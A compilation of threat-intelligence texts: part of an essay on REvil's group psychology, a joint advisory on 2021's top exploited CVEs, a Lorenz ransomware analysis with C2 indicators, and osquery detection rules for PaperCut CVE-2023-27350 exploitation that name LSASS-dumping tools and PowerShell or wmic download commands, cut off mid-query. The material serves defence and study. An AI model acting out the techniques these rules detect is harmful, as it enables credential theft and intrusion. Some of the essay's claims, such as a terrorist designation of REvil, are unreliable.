posts on forums are provocative, extravagant, and flamboyant. This may suggest this team is not only seeking financial profits but also attention. This may be a style of doing business and a psychological phenomenon. According to Vivalamuerte, UNKN has changed its nickname on the forum four times and works very hard to avoid detection. As a young man from Minsk with a troubled background, they most likely entered the cybercrime enterprise because of being financially troubled without any other financial options to turn to. If Vivalamuerte’s allegations are true, it is rewarding for UNKN to be able to attract worldwide attention and be recognized in a criminal business enterprise. They most likely did not have a supportive family and can now receive recognition and notoriety for their chaotic behaviors. This motivation is not solely egotistical and emotional. On the operational level, the fact that REvil receives a large amount of media attention from international headlines describing their renowned tools and techniques helps the group to establish a dominating place within the community. As a Ransomware-as-a-Service group, REvil uses its fame to its advantage in order to attract and recruit talented affiliates. When recruiting affiliates, they use fame as a tool of self-legitimization. The group spokesman stated: “You can read about us in the media. An envelope with 6 zeros is an ordinary and daily business for us.” Another essential factor shaping REvil’s motivations and behavior is a feeling of impunity. While seeking profits and attention, the group made the headlines yet faced little to no punishment. The group has been caught; moreover, their predecessor, a ransomware syndicate—GandCrab—publicly bragged that they are living proof that one can steal without getting caught. Considering that UNKN may have joined cybercrime as a last resort to become rich and famous, and considering the connection between the two groups, REvil may be looking at GandCrab as a role model and as an example of a successful ransomware collective that made billions and resigned unpunished. The overt impunity also has an operational benefit, as just as publicity, it helps to bring talents to the group—a fundamental requirement for a successful RaaS enterprise. It is probable that REvil is aware that by receiving recognition for pulling off intelligent operations without getting caught, they can recruit more capable members into their syndicate. As such, REvil is not held accountable for its actions, receives widespread international attention for their cunning and malicious activities, and feels good about their technological prowess. All of these processes feed into building up the organization's ego and convince them that due to their anonymity and skill, they will not be held accountable for their actions in the future. The combination of attention-seeking and impunity leads to REvil’s overconfidence. This can be seen in the way REvil challenged the community’s ethics and principles, the arrogance and contempt with which the REvil representatives talk to other hackers and ransomware developers, and, finally, the way the group treats their victims. This overconfidence may be the reason why the group is so hard to negotiate and so aggressive in their ways. But the same overconfidence became the group’s major vulnerability. ## Collective Identities However, before we review how psychological patterns of UNKN and other leaders determined their recent behavior, one other aspect would be investigated—the group identity. REvil is first and foremost an organized crime collective, and its group identity presents a unique case across organized crime. A recent solid trend in cybercrime psychology is for previously ethnically homogenous crime groups that did not accept others to begin to accept individuals from different backgrounds, so they may contribute highly desirable scarce resources and skills. In 2019, groups started to operate across domains and cultural lines as long as the payload could be ensured to be secured. The trend is especially visible with cybercrime. In contrast to traditional organized crime that requires deep trust with strong ties and familiar connections, cybercrime necessitates the formation of flexible networks and partnerships, forming a thin trust. For instance, across Eastern European cybercrime, Russian-speakers may prefer to work with other Russian-speakers due to increased feelings of belongingness, preferences for ethnic behaviors and practices, shared cultural traditions, history, and values. But they will still establish multicultural and multiracial syndicates. An illustrative example was the FXMSP group, which bragged about having American and Chinese team members. However, REvil is an exception. The group clearly states that it will never work with non-Russian speakers. REvil’s perceptions of, and attitudes toward, English-speaking members ultimately develop from their need to identify with and belong to their own group that they perceive to be superior, as a means of enhancing their level of self-esteem. REvil perceives its group members and other trustworthy Russian-speaking actors to be similar to themselves and shows preference in their attitudes and behaviors toward them. However, English-speakers are perceived to be dissimilar and possess less favorable qualities, and therefore they can justifiably be discriminated against. Though English-speakers are lauded on the forums for making deals more secure by asking for as many proofs as possible during deals, some stigmatize them for being difficult to make deals with. This ethnic-based mentality and ethnic foundation for boundary formation have also misled the group leaders. Just as overconfidence and impunity, this extreme psychological pattern created new vulnerabilities for the group. As it often happens with collectives driven by distrust to the “Collective Other,” REvil has hindered their critical thinking and begun blaming systemic vulnerabilities of their model on precedes against non-Russian speakers. ## Confidence, Community, Consequences An Eastern European ransomware collective is first and foremost a community body. As a decentralized structure, RaaS relies heavily on its talent recruitment. RaaS presumes the necessity to keep a good relationship with the community. Recruitment of new affiliates, cooperation with individual experts on intrusion, and the infrastructure of publishing websites for blackmailing—all this requires a solid foundation in the cybercrime community. Maintaining a consistent reputational profile is, therefore, a necessity. When REvil members that bragged about their success and power got themselves attacked, their entire foundation became vulnerable. The extravagant public profile turned REvil into a lucrative goal for other criminals. Vivalamuerte clearly understood that reputation is as important for UNKN as their technical skills. The extortion of REvil had a direct and traumatic impact on the group’s self-identification. REvil relies on the acquisition of loyal, talented affiliates. They must keep a reputable name in the forums in order to attract the right types of partners. A threat of deanonymization simultaneously hit the three aspects of REvil’s collective psychology mentioned above—attention-seeking, impunity, and overconfidence. With their identity exposed, UNKN would find the attention they brought to themselves in a recent year working against them. There would be no impunity without anonymity, and, of course, the image of an overconfident gang leader would be destroyed if the information of their personality is available for everyone. UNKN and their team had to rapidly find a response to this triple threat aimed at the very center of their collective psyche. As a result, they initiated a range of operations all aimed to bring back their reputational standing but resulting in even further complications of their case. ## A Spiral of Chaos By Spring 2020, one of the largest and most formidable ransomware syndicates was in a very precarious condition. First, they faced a deanonymization threat. Their attempt to call for even more media attention now backfired and compromised the group’s impunity. Then, a Russian-speaking member of the syndicate accepted EXPL0, who ended up compromising the group’s domains. Apparently, the identity-based model of partnerships proved itself inefficient. From a criminal psychology standpoint, REvil may have been willing to take overly confident actions if they were really being extorted by Vivalamuerte and desired to protect their anonymity at all costs. In order to extract a large payout, they were willing to act in more chaotic ways, bluffing to have information on the U.S. President in order to extort a large financial sum for information regarding Trump. A high-profile attack reaching headlines beyond regional media and social networks is a perfect solution. REvil goes high and attempts to blackmail the U.S. President. Even though this sounds like a movie plot, the plan works, but the consequences are imminent. At this point, REvil’s goals are simple—to restore the image of an overconfident top dog, trusted and respected by the community—the main source of power that a RaaS syndicate has. Indeed, REvil reached the global headlines, but the attack backfired. The group was branded as a terrorist organization by the Trump Administration, which, among other things, made ransom payment impossible. Previously, fame and notoriety helped REvil to gain profits. Their desire for attention and enrichment was working hand in hand. But now, the two motives were contradicting one another. The blunder was easy to avoid as the consequences of an attack against President Trump were quite predictable. The United States has branded smaller, less threatening groups, with much less of an impact as terrorists. A couple of weeks before REvil’s extortion attempt, the Russian Imperialist Movement, a minor white supremacy group already collapsing from the crackdown from Russian security forces, was branded as a foreign terrorist organization by the U.S. The Russian-speaking media extensively covered the event, accusing the U.S. of overreaching. However, REvil ignored these signs and targeted one of the most influential people in the world, attempting to extort the United States President for $42 million USD without proof of actually possessing information about him. While not being paid, UNKN and its team attempted to utilize at least one aspect of the notorious extortion—popularity and attention. They posted information regarding Grubman Shire Meiselas & Sacks on the underground forums. However, again, the attempt led to the opposite effect. Instead of getting more respect and support, REvil faced a backlash. Due to the nature of forum users’ activities, many wish to keep a low profile and are uncomfortable with the amount of negative attention that REvil draws to the forums by targeting Trump. In this sense, REvil's overall desire for attention worked against them since the community prefers silence. An already damaged image of an omnipotent cyber syndicate, which was suddenly itself blackmailed, received a second blow, as the community started to mock REvil and openly ironize about their audacious threats. Moreover, REvil was called out for bluffing to have information about Trump. As a result, the posts were quickly deleted from forums, but the attempts to restore reputation continued as the group quickly shifted to announcing they would be auctioning off celebrity client data obtained from GSMS, beginning with Madonna. Exaggerating is not wise for building trust and legitimacy in this enterprise because those buying the information will only purchase it if REvil’s track record is legitimate. Moreover, REvil could have predicted the reaction of the community. By the way, the community reacted to REvil's bragging about attacks against medical corporations in the midst of the COVID-19 pandemic. On March 13, 2020, REvil stole one terabyte of data from 10x Genomics, a California-based biotechnological company researching drugs to treat COVID-19. Following this ransomware attack, the REvil group published 10X Genomics company documents containing sensitive information about more than 1,200 employees. Some users on XSS did not agree with REvil’s actions, declaring that biotechnology companies should be permitted to focus on cure research so that everyone may be in good health. One user said, “this act was like spitting in the well from which one drinks. The faster humanity overcomes this infection, the faster the economy will recover which will lead to bigger earnings for us.” At the same time, REvil, in response to the EXPL0 case, was reshifting its business model by reducing the number of affiliates and calling to ban English language users. Following the EXPL0 breach in May, REvil removed all English adverts dealing with English speakers and required a guaranteed advert for admission into their program. However, the EXPL0 case occurred not because of EXPL0’s identity, but because the RaaS model is itself vulnerable to such breaches. REvil does not highlight that the RaaS system itself is at fault and opts to scapegoat English-speaking users for the downfalls instead—another sign of irrational and chaotic behavior. However, these bragging and exaggerations, chaotic behavior can be explained if we take the psychological and social components. It is critical for crime syndicates to be respected and supported, as they are consistently forming new partnerships on the forums. Moreover, REvil leveraged fear through publicity by targeting A-listers. Standard personal information is valuable, but sensitive celebrity information is even more valuable. These deeply impactful crimes get into the minds of their victims because celebrities and companies alike know that if they do not pay, someone else will in an auction. REvil worked its way to the top of the hierarchy by weaponizing their superior tactics, techniques, and technology on the most public of figures. This breach of trust by the community—the threat of losing anonymity—triggered REvil to think with more of a threat mindset, which is essentially different from strategic management in which the group operated previously. REvil was more motivated to commit a high-profile attack to restore the group’s reputation after the Vivalamuerte extortion, to keep recruiting talented members, and to increase the likelihood of a payout because other celebrities and companies will be scared of the group since they are so popular and never caught. However, high-profile attacks exacerbated the relationships with the community. As was the case with the EXPL0 case breach, the clash between organizational and identity approaches leads to poor mitigation. By making each new attempt to improve their case, REvil only exacerbated the conflicts and contradictions which led to their troubles in the first place. ## What Can We Learn? Socio-cultural forces play an important role in the genesis and sustainability of organized cybercrime groups. Identity comprises motivators that direct criminal activities such as emotions, beliefs, and attitudes. REvil achieves a sense of self-consistency by manifesting their identity with their criminal behaviors, such as victimizing high-level targets, accumulating technological prowess, and not allowing English speakers to work with them. Collaborative ties require trust and mitigation of uncertainties as trust is a mechanism for people to cope with risk and uncertainty in interactions with others. In cybercriminal computer-mediated communications, trust is more than just a mental aspect. When REvil cooperates with someone on a forum, there is always a possibility that person is either a fellow cybercriminal, a dishonest trader, a researcher, or a law enforcement associate. Uncertainty is treated as a cost to the enterprise as a breach of trust can severely impair their sophisticated business model. Bonding capital in crime is usually manifested through strong interpersonal relationships with close friends or family. The next best thing to develop trust is to possess the same ethnicity and values. In cybercrime, lacking non-verbal and social context cues, trust becomes a valuable and scarce resource. This is why REvil relies on having a shared ethnic background as well as two reputation-based systems that mitigate uncertainty: reviewed vendors and escrow services—this group depends on a collective community trust to operate. A breach of trust, on the other hand, reverts the entire environment upside down. REvil is unique in their approach as they are loud, extravagant, ethnically explicit, and invest in decentralization practices. They use this extravagance to extort ransom and obtain respect. Yet, when they cannot trust the community and the community does not trust them, the same psychological and behavioral patterns that enable them to be creative and unique make them more prone to being caught, more vulnerable psychologically, and more chaotic in mitigating crisis. REvil is most certainly far from collapsing, but the recent complications with the public and with the criminal community have revealed some important trends. REvil’s operations, just as their predecessor GandCrab, were heavily based on the exploitation of fears, pride, and vanity. These groups need attention to prosper. But if such syndicates receive too much negative attention from targeting authoritative figures such as the U.S. President, or making too much noise in the community, they may have to effortfully retire or rebrand again. Apparently, this was what happened with GandCrab, and this is the paradox of attention, embedded in the fabric of these gangs’ operations. Seeing as how UNKN has changed his name four times in the past and GandCrab changed their practices after receiving too much fame, it is likely that REvil will only succeed with this name for so long before having to make significant changes to their name, identity, and code. REvil can only work for so long attacking such well-known targets. Trust, professionalism, and technological proficiency are more important to REvil now than ever. This organization is running on limited time if they have already rebranded once with some of the same people and some of the same code. The same story can repeat.
# 2021 Top Routinely Exploited Vulnerabilities ## SUMMARY This joint Cybersecurity Advisory (CSA) was coauthored by cybersecurity authorities of the United States, Australia, Canada, New Zealand, and the United Kingdom: the Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Federal Bureau of Investigation (FBI), Australian Cyber Security Centre (ACSC), Canadian Centre for Cyber Security (CCCS), New Zealand National Cyber Security Centre (NZ NCSC), and United Kingdom’s National Cyber Security Centre (NCSC-UK). This advisory provides details on the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited. U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities assess that in 2021, malicious cyber actors aggressively targeted newly disclosed critical software vulnerabilities against broad target sets, including public and private sector organizations worldwide. To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities across a broad spectrum of targets. The cybersecurity authorities encourage organizations to apply the recommendations in the Mitigations section of this CSA. These mitigations include applying timely patches to systems and implementing a centralized patch management system to reduce the risk of compromise by malicious cyber actors. U.S. organizations: all organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at (888) 282-0870 and/or to the FBI via your local FBI field office or CyWatch at (855) 292-3937 or [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact [email protected]. Australian organizations: visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: report incidents by emailing CCCS at [email protected]. New Zealand organizations: report cybersecurity incidents to ncsc.govt.nz or call 04 498 7654. United Kingdom organizations: report a significant cybersecurity incident to ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp. ## TECHNICAL DETAILS ### Key Findings Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability’s disclosure, likely facilitating exploitation by a broader range of malicious actors. To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities—some of which were also routinely exploited in 2020 or earlier. The exploitation of older vulnerabilities demonstrates the continued risk to organizations that fail to patch software in a timely manner or are using software that is no longer supported by a vendor. ### Top 15 Routinely Exploited Vulnerabilities Table 1 shows the top 15 vulnerabilities U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities observed malicious actors routinely exploiting in 2021, which include: - **CVE-2021-44228**: This vulnerability, known as Log4Shell, affects Apache’s Log4j library, an open-source logging framework. An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code. The request allows a cyber actor to take full control over the system. The actor can then steal information, launch ransomware, or conduct other malicious activity. Log4j is incorporated into thousands of products worldwide. This vulnerability was disclosed in December 2021; the rapid widespread exploitation of this vulnerability demonstrates the ability of malicious actors to quickly weaponize known vulnerabilities and target organizations before they patch. - **CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065**: These vulnerabilities, known as ProxyLogon, affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., “vulnerability chaining”) allows an unauthenticated cyber actor to execute arbitrary code on vulnerable Exchange Servers, which, in turn, enables the actor to gain persistent access to files and mailboxes on the servers, as well as to credentials stored on the servers. Successful exploitation may additionally enable the cyber actor to compromise trust and identity in a vulnerable network. - **CVE-2021-34523, CVE-2021-34473, CVE-2021-31207**: These vulnerabilities, known as ProxyShell, also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination enables a remote actor to execute arbitrary code. These vulnerabilities reside within the Microsoft Client Access Service (CAS), which typically runs on port 443 in Microsoft Internet Information Services (IIS) (e.g., Microsoft’s web server). CAS is commonly exposed to the internet to enable users to access their email via mobile devices and web browsers. - **CVE-2021-26084**: This vulnerability, affecting Atlassian Confluence Server and Data Center, could enable an unauthenticated actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a POC was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021. Three of the top 15 routinely exploited vulnerabilities were also routinely exploited in 2020: CVE-2020-1472, CVE-2018-13379, and CVE-2019-11510. Their continued exploitation indicates that many organizations fail to patch software in a timely manner and remain vulnerable to malicious cyber actors. ### Table 1: Top 15 Routinely Exploited Vulnerabilities in 2021 | CVE | Vulnerability Name | Vendor and Product | Type | |------------------------|--------------------|-------------------------------------|-------------------------------| | CVE-2021-44228 | Log4Shell | Apache Log4j | Remote code execution (RCE) | | CVE-2021-40539 | | Zoho ManageEngine AD SelfService Plus | RCE | | CVE-2021-34523 | ProxyShell | Microsoft Exchange Server | Elevation of privilege | | CVE-2021-34473 | ProxyShell | Microsoft Exchange Server | RCE | | CVE-2021-31207 | ProxyShell | Microsoft Exchange Server | Security feature bypass | | CVE-2021-27065 | ProxyLogon | Microsoft Exchange Server | RCE | | CVE-2021-26858 | ProxyLogon | Microsoft Exchange Server | RCE | | CVE-2021-26857 | ProxyLogon | Microsoft Exchange Server | RCE | | CVE-2021-26855 | ProxyLogon | Microsoft Exchange Server | RCE | | CVE-2021-26084 | | Atlassian Confluence Server and Data Center | Arbitrary code execution | | CVE-2021-21972 | | VMware vSphere Client | RCE | | CVE-2020-1472 | ZeroLogon | Microsoft Netlogon Remote Protocol | Elevation of privilege | | CVE-2020-0688 | | Microsoft Exchange Server | RCE | | CVE-2019-11510 | | Pulse Secure Pulse Connect Secure | Arbitrary file reading | | CVE-2018-13379 | | Fortinet FortiOS and FortiProxy | Path traversal | ### Additional Routinely Exploited Vulnerabilities In addition to the 15 vulnerabilities listed in Table 1, U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities identified vulnerabilities, listed in Table 2, that were also routinely exploited by malicious cyber actors in 2021. These vulnerabilities include multiple vulnerabilities affecting internet-facing systems, including Accellion File Transfer Appliance (FTA), Windows Print Spooler, and Pulse Secure. Three of these vulnerabilities were also routinely exploited in 2020: CVE-2019-19781, CVE-2019-18935, and CVE-2017-11882. ### Table 2: Additional Routinely Exploited Vulnerabilities in 2021 | CVE | Vendor and Product | Type | |------------------------|-------------------------------------|-------------------------------| | CVE-2021-42237 | Sitecore XP | RCE | | CVE-2021-35464 | ForgeRock OpenAM server | RCE | | CVE-2021-27104 | Accellion FTA | OS command execution | | CVE-2021-27103 | Accellion FTA | Server-side request forgery | | CVE-2021-27102 | Accellion FTA | OS command execution | | CVE-2021-27101 | Accellion FTA | SQL injection | | CVE-2021-21985 | VMware vCenter Server | RCE | | CVE-2021-20038 | SonicWall Secure Mobile Access | RCE | | CVE-2021-40444 | Microsoft MSHTML | RCE | | CVE-2021-34527 | Microsoft Windows Print Spooler | RCE | | CVE-2021-3156 | Sudo | Privilege escalation | | CVE-2021-27852 | Checkbox Survey | Remote arbitrary code execution | | CVE-2021-22893 | Pulse Secure Pulse Connect Secure | Remote arbitrary code execution | | CVE-2021-20016 | SonicWall SSLVPN SMA100 | Improper SQL command neutralization | | CVE-2021-1675 | Windows Print Spooler | RCE | | CVE-2020-2509 | QNAP QTS and QuTS hero | Remote arbitrary code execution | | CVE-2019-19781 | Citrix Application Delivery Controller (ADC) and Gateway | Arbitrary code execution | | CVE-2019-18935 | Progress Telerik UI for ASP.NET AJAX | Code execution | | CVE-2018-0171 | Cisco IOS Software and IOS XE | Remote arbitrary code execution | | CVE-2017-11882 | Microsoft Office | RCE | | CVE-2017-0199 | Microsoft Office | RCE | ## MITIGATIONS ### Vulnerability and Configuration Management - Update software, operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching known exploited vulnerabilities, especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. For patch information on CVEs identified in this CSA, refer to the appendix. - If a patch for a known exploited or critical vulnerability cannot be quickly applied, implement vendor-approved workarounds. - Use a centralized patch management system. - Replace end-of-life software, i.e., software that is no longer supported by the vendor. For example, Accellion FTA was retired in April 2021. - Organizations that are unable to perform rapid scanning and patching of internet-facing systems should consider moving these services to mature, reputable cloud service providers (CSPs) or other managed service providers (MSPs). Reputable MSPs can patch applications—such as webmail, file storage, file sharing, and chat and other employee collaboration tools—for their customers. However, as MSPs and CSPs expand their client organization's attack surface and may introduce unanticipated risks, organizations should proactively collaborate with their MSPs and CSPs to jointly reduce that risk. For more information and guidance, see the following resources: - CISA Insights Risk Considerations for Managed Service Provider Customers - CISA Insights Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses - ACSC advice on How to Manage Your Security When Engaging a Managed Service Provider ### Identity and Access Management - Enforce multifactor authentication (MFA) for all users, without exception. - Enforce MFA on all VPN connections. If MFA is unavailable, require employees engaging in remote work to use strong passwords. - Regularly review, validate, or remove privileged accounts (annually at a minimum). - Configure access control under the concept of least privilege principle. - Ensure software service accounts only provide necessary permissions (least privilege) to perform intended functions (non-administrative privileges). ### Protective Controls and Architecture - Properly configure and secure internet-facing network devices, disable unused or unnecessary network ports and protocols, encrypt network traffic, and disable unused network services and devices. - Harden commonly exploited enterprise network services, including Link-Local Multicast Name Resolution (LLMNR) protocol, Remote Desktop Protocol (RDP), Common Internet File System (CIFS), Active Directory, and OpenLDAP. - Manage Windows Key Distribution Center (KDC) accounts (e.g., KRBTGT) to minimize Golden Ticket attacks and Kerberoasting. - Strictly control the use of native scripting applications, such as command-line, PowerShell, WinRM, Windows Management Instrumentation (WMI), and Distributed Component Object Model (DCOM). - Segment networks to limit or block lateral movement by controlling access to applications, devices, and databases. Use private virtual local area networks. - Continuously monitor the attack surface and investigate abnormal activity that may indicate lateral movement of a threat actor or malware. - Use security tools, such as endpoint detection and response (EDR) and security information and event management (SIEM) tools. Consider using an information technology asset management (ITAM) solution to ensure your EDR, SIEM, vulnerability scanner, etc., are reporting the same number of assets. - Monitor the environment for potentially unwanted programs. - Reduce third-party applications and unique system/application builds; provide exceptions only if required to support business-critical functions. - Implement application allowlisting. ## RESOURCES - For the top vulnerabilities exploited in 2020, see joint CSA Top Routinely Exploited Vulnerabilities. - For the top exploited vulnerabilities 2016 through 2019, see joint CSA Top 10 Routinely Exploited Vulnerabilities. - See the appendix for additional partner resources on the vulnerabilities mentioned in this CSA. ## DISCLAIMER The information in this report is being provided “as is” for informational purposes only. CISA, the FBI, NSA, ACSC, CCCS, NZ NCSC, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring. ## PURPOSE This document was developed by U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.
# Lorenz Ransomware: Analysis and a Free Decryptor By Gijs Rijnders June 25, 2021 BleepingComputer recently wrote about a new ransomware family called Lorenz, that targets organizations worldwide. Like other well-known ransomware families, Lorenz also breaches their networks and performs double-extortion by stealing data before encrypting it. The victim is then threatened with their data being published if they decide not to pay the ransom. Ransom demands have been quite high, between $500,000 and $700,000. Based on our analysis of the ransomware, we have been able to develop a process that can in some cases decrypt files affected by Lorenz without paying the ransom. In this blog post, we will discuss some details about the ransomware. Furthermore, we will announce a free decryptor for Lorenz. This decryptor will be available through the NoMoreRansom initiative soon to help victims free of charge. ## Overview A first glance at the ransomware reveals that it is likely written in C++ using Microsoft Visual Studio 2015. An interesting observation in the two samples we analyzed is that they are both compiled with debug information, even though they seem to be compiled in Release mode. Debug information can be useful as it tends to make the analysis slightly easier. Like ransomware commonly does, Lorenz also creates a mutex at startup. The mutex is called ‘wolf’ and is used to prevent the ransomware from starting twice in parallel. Another interesting observation is that Lorenz sends the computer name of the infected system to a command & control server before starting encryption. In the samples we analyzed, the connections targeted the command & control server by IP address on TCP port 55. ## File Encryption The Lorenz ransomware uses a combination of RSA and AES-128 in CBC mode to encrypt files on an infected system. A password is generated at random for each file, and an encryption key is then derived using the CryptDeriveKey function. Files encrypted by ransomware commonly contain footers, as footers can be easily appended to a file. Lorenz places a header before the encrypted file instead. This makes the ransomware less efficient as it must copy the contents of every file. The header contains the magic value: ‘.sz40’, followed by the RSA-encrypted file encryption key. After writing the encrypted file header, every file is encrypted whole in rather small blocks of 48 bytes. Encrypted files get the file extension: ‘.Lorenz.sz40’. According to BleepingComputer, the Lorenz ransomware appears to be a variant of the ThunderCrypt ransomware. We have not analyzed any ThunderCrypt samples and therefore, we do not know whether the file encryption is similar or not. ## Encryption Bug Lorenz encrypts every file whole in blocks of 48 bytes. It first reads the next 48 bytes (or whatever is available) from the original file. The freshly obtained data block is then encrypted and written to the encrypted file. If we look closer, the problem lies within the usage of the CryptEncrypt function. Relevant parameters are the 5th, 6th and 7th. They respectively represent the buffer containing the freshly read data, length of this available data and the total size of ‘read_buffer’. As we can see, CryptEncrypt is told that ‘read_buffer’ is 48 bytes in size. Therefore, it is not allowed to write more than 48 bytes when encrypting this block. If we take a closer look at the documentation of the CryptEncrypt function, we read the following: “If a large amount of data is to be encrypted, it can be done in sections by calling CryptEncrypt repeatedly. The Final parameter must be set to TRUE on the last call to CryptEncrypt, so that the encryption engine can properly finish the encryption process. The following extra actions are performed when Final is TRUE: If the key is a block cipher key, the data is padded to a multiple of the block size of the cipher. If the data length equals the block size of the cipher, one additional block of padding is appended to the data.” Recall that Lorenz uses the AES-128 algorithm, which is a block cipher having a block size of 16 bytes. If the size of ‘read_buffer’ is smaller than 48 bytes, the data inside it would be padded to at most 48 bytes. However, if the available data is exactly 48 bytes in size, CryptEncrypt would append an additional block of padding. The ‘read_buffer’ would then be required to be at least 64 bytes in size. As a result, CryptEncrypt fails, breaking out of the encryption loop. The last block of the file is hence never written, meaning it is lost. Of course, the last block of padding is only appended when ‘final’ (the 3rd parameter for CryptEncrypt) is set to TRUE. If this was not the case, all other blocks would fail as well. The result of this bug is that for every file whose size is a multiple of 48 bytes, the last 48 bytes are lost. Even if you managed to obtain a decryptor from the malware authors, these bytes cannot be recovered. ## A Free Decryptor Based on our analysis of the Lorenz ransomware we have come to the conclusion that we can decrypt (non-corrupted) affected files in some cases without paying the ransom. Supported file types include Microsoft Office documents, PDF files and some image and movie types. We built a decryptor that we are providing to victims free of charge. The decryptor is available for download via the NoMoreRansom initiative. ## Indicators of Compromise (IoCs) | Indicator | Description | |---------------------------------------------------------------------------|------------------------| | 71cdbbc62e10983db183ca60ab964c1a3dab0d279c5326b2e920522480780956 | Lorenz ransomware | | 4b1170f7774acfdc5517fbe1c911f2bd9f1af498f3c3d25078f05c95701cc999 | Lorenz ransomware | | 157[.]90[.]147[.]28 | C2 | | 172[.]86[.]75[.]63 | C2 | © 2022 Tesorion Cybersecurity Solutions. All Rights Reserved.
# Taming the Storm: Understanding and Mitigating the Consequences of CVE-2023-27350 **By Saharsh Agrawal** **May 23, 2023** The world of cybersecurity is constantly evolving, with new threats emerging every day. One of the latest threats to emerge is the use of CVE-2023-27350 by threat actors to gain initial access to victim machines and servers. This vulnerability is found in the popular print management software, Papercut. In this blog post, we will explore how the threat actors of Cl0p, Lockbit, and Truebot malware are exploiting this vulnerability, and Osquery detections to safeguard from the risks it poses to businesses and organizations. ## What is CVE-2023-27350? CVE-2023-27350 is a vulnerability found in Papercut, a popular printer management software used by businesses and organizations around the world. This vulnerability allows threat actors to gain unauthenticated remote access to victims' machines and servers by exploiting the vulnerability in the software. As Papercut runs with system administrator privileges, when the attacker exploits the vulnerability, they gain administrative privileges and have the ability to execute remote code on the hosted machine. Below you can find the vulnerable versions: - 8.0.0 – 19.2.7 - 20.0.0 – 20.1.6 - 21.0.0 – 21.2.10 - 22.0.0 – 22.0.8 ## How are TAs exploiting this vulnerability? Numerous threat actors (TAs) have noticed this vulnerability and are exploiting it to gain initial access. Once they have gained a foothold on a system, they perform various Tactics, Techniques, and Procedures (TTPs) to exploit the victims. An important insight that can be gained from examining the TTPs of the malware is that the TAs are motivated by financial gain and achieve this by encrypting all user data by detonating ransomware. It’s noteworthy that a significant number of schools use the Papercut software, which increases their vulnerability to attacks if they continue to use the vulnerable version. ## Detection By utilizing the PoC shared by horizon3ai on GitHub, we successfully replicated CVE-2023-27350. This enabled us to develop detection mechanisms aimed at thwarting potential attackers who might attempt to exploit the CVE. Below are specific osquery rules to help defend against the malicious behaviors exhibited by TAs exploiting CVE-2023-27350. ### PaperCut MF/NG CVE-2023-27350 Exploit ```sql SELECT p1.name AS child_process_name, p1.pid AS child_process_id, p1.cmdline AS child_cmdline, p2.name AS parent_process_name, p2.pid AS parent_process_id, p2.cmdline AS parent_cmdline FROM processes p1, processes as p2 ON p1.parent = p2.pid AND LOWER(parent_process_name) = 'pc-app.exe' AND LOWER(child_process_name) IN ('cmd.exe','powershell.exe','java.exe','certutil.exe','cscript.exe','wscript.exe','ftp.exe','rundll32.exe','wmic.exe','curl.exe','regsvr32.exe'); ``` ### Abnormal LSASS Process Access and Injection ```sql SELECT p1.name AS child_process, p1.pid AS child_process_id, p1.cmdline AS child_cmdline, p2.name AS parent_process, p2.pid AS parent_process_id, p2.cmdline AS parent_cmdline FROM processes p1, processes as p2 ON p1.parent = p2.pid AND LOWER(child_process) = 'lsass.exe' AND ( LOWER(parent_process) IN ('powershell.exe','taskmgr.exe','rundll32.exe','procdump.exe','procexp.exe') OR parent_process LIKE REGEX_MATCH(parent_process,'nanodump(_ppl_dump|_ppl_medic|_ssp)?\.(x64|x86)\.exe',0) ); ``` ### Windows PowerShell Web Request ```sql SELECT datetime, script_block_id, script_text, script_name, script_path FROM powershell_events WHERE ( script_text LIKE '%Invoke-WebRequest%' OR script_text LIKE '%iwr%' OR script_text LIKE '%wget%' OR script_text LIKE '%curl%' OR script_text LIKE '%Net.WebClient%' OR script_text LIKE '%Start-BitsTransfer%' ); ``` ### Proxy execution of malicious payloads via wmic.exe ```sql SELECT name, cmdline, path, pid, parent FROM processes WHERE LOWER(name) = 'wmic.exe' AND ( cmdline LIKE '%call%' OR cmdline LIKE '%create%' OR cmdline LIKE '%process%' ) AND ( cmdline LIKE '%rundll32%' OR cmdline LIKE '%bitsadmin%' OR cmdline LIKE '%regsvr32%' OR cmdline LIKE '%cmd.exe /c%' OR cmdline LIKE '%cmd.exe /k%' OR cmdline LIKE '%cmd.exe /r%' OR cmdline LIKE '%cmd /c%' OR cmdline LIKE '%cmd /k%' OR cmdline LIKE '%cmd /r%' OR cmdline LIKE '%powershell%' OR cmdline LIKE 